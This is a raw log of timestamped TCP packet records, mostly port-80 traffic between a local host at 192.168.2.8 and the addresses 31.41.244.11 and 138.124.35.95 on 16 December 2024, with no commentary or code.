Dec 16, 2024 17:02:24.351012945 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.351484060 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.351499081 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.351527929 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.351553917 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.351960897 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.351977110 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.352025032 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.352047920 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.352094889 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:24.352255106 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.352418900 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.352433920 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.352463007 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.352488041 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.352853060 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.353224039 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.353239059 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.353271008 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.353296041 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.353473902 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.353490114 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.353533030 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.354193926 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.354245901 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.354248047 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.354262114 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.354286909 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.354301929 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.354516029 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.355439901 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.355489969 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.355547905 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.355564117 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.355590105 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.355616093 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.355772972 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.355864048 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.356254101 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.356270075 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.356312037 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.356415033 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.356431007 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.356455088 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.356483936 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.356769085 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.356832027 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.357019901 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.357034922 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.357069969 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.357351065 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.357382059 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.357382059 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.357547045 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.357562065 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.357610941 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.357983112 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.357999086 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.358028889 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.358052015 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.358470917 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.358485937 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.358529091 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.358571053 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.358612061 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.358935118 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.358978987 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.359481096 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.359524965 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.359580040 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.359596014 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.359623909 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.359639883 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.359910011 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.360260010 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.360274076 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.360306978 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.360358000 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.360398054 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.360831976 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.529869080 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.530009985 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.530024052 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.530138969 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.530143023 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.530169010 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.530185938 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.530188084 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.530213118 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.530231953 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.530802011 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.530850887 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.530980110 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.531029940 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.531122923 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.531177044 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.531301975 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.531326056 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.531369925 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.531369925 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.531622887 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.531661987 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.532011986 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.532151937 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.532177925 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.532190084 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.532208920 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.532286882 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.532552958 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.532829046 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.532902956 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.532948017 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.532995939 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.533019066 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.533045053 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.533057928 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.533375025 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.533426046 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.533790112 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.533890009 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.533932924 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.534099102 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.534113884 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.534157038 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.534809113 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.534825087 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.534840107 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.534885883 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.534885883 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.535398006 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.535451889 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.535727024 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.535741091 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.535770893 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.535795927 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.535979986 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.535994053 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.536032915 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.536519051 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.536571980 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.536609888 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.536624908 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.536653996 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.536667109 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.536957979 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.537385941 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.537432909 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.537480116 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.537496090 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.537522078 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.537553072 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.537842035 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.538168907 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.538278103 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.538294077 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.538341999 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.538471937 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.538486958 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.538531065 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.539235115 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.539278984 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.539340973 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.539355993 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.539395094 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.539407969 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.539602041 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.540062904 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.540080070 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.540112972 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.540141106 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.540281057 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.540297031 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.540338039 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.540906906 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.541052103 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.541068077 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.541100979 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.541117907 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.541385889 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.541855097 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.541870117 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.541906118 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.541934967 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.542068005 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.542083979 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.542131901 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.542821884 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.542865992 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.542964935 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.542980909 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.543011904 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.543025970 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.543332100 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.543641090 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.543687105 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.543714046 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.543729067 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.543756962 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.543787003 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.544080019 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.544496059 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.544509888 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.544540882 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.544559956 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.544738054 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.544754028 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.544783115 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.544800997 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.545365095 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.545500040 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.545521975 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.545546055 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.545582056 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.545880079 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.546304941 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.546319962 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.546353102 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.546382904 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.546473980 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.546751976 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.546801090 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.547228098 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.547244072 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.547275066 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.547301054 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.547380924 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.547395945 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.547435999 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.548078060 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.548135996 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.548207998 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.548223019 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.548249960 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.548264980 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.549110889 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.549125910 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.549140930 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.549182892 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.549216032 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.549376011 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.549391985 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.549437046 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.549937010 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.549985886 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.550021887 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.550065994 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.550107002 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.550122023 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.550152063 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.550163984 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.550687075 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.550837994 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.550853014 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.550884008 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.550906897 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.551207066 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.551665068 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.551711082 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.551713943 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.551758051 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.551932096 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.551948071 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.551981926 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.552005053 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.552510023 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.552622080 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.552638054 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.552670956 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.552692890 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.552925110 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.556060076 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.556135893 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.556808949 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:24.722563982 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.722594023 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.722609043 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.722624063 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.722666025 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.722790956 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.722834110 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.722909927 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.722924948 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.722959995 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.722991943 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.723328114 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.723383904 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.723481894 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.723587990 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.723757029 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.723772049 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.723787069 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.723797083 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.723839998 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.724203110 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.724261999 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.724441051 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.724457026 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.724500895 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.724728107 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.724776983 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.724947929 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.724994898 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.725104094 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.725119114 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.725135088 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.725158930 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.725188971 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.725887060 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.725965977 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.725980043 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.726016998 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.726044893 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.726466894 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.726535082 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.726826906 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.726927996 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.726942062 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.726974010 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.727000952 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.727267981 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.727380037 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.727658033 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.727704048 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.727775097 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.727788925 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.727828979 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.727840900 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.728107929 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.728153944 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.728617907 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.728662014 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.728704929 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.728754044 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.728961945 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.728976965 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.729010105 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.729026079 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.729476929 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.729521990 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.729540110 CET	80	49712	31.41.244.11	192.168.2.8
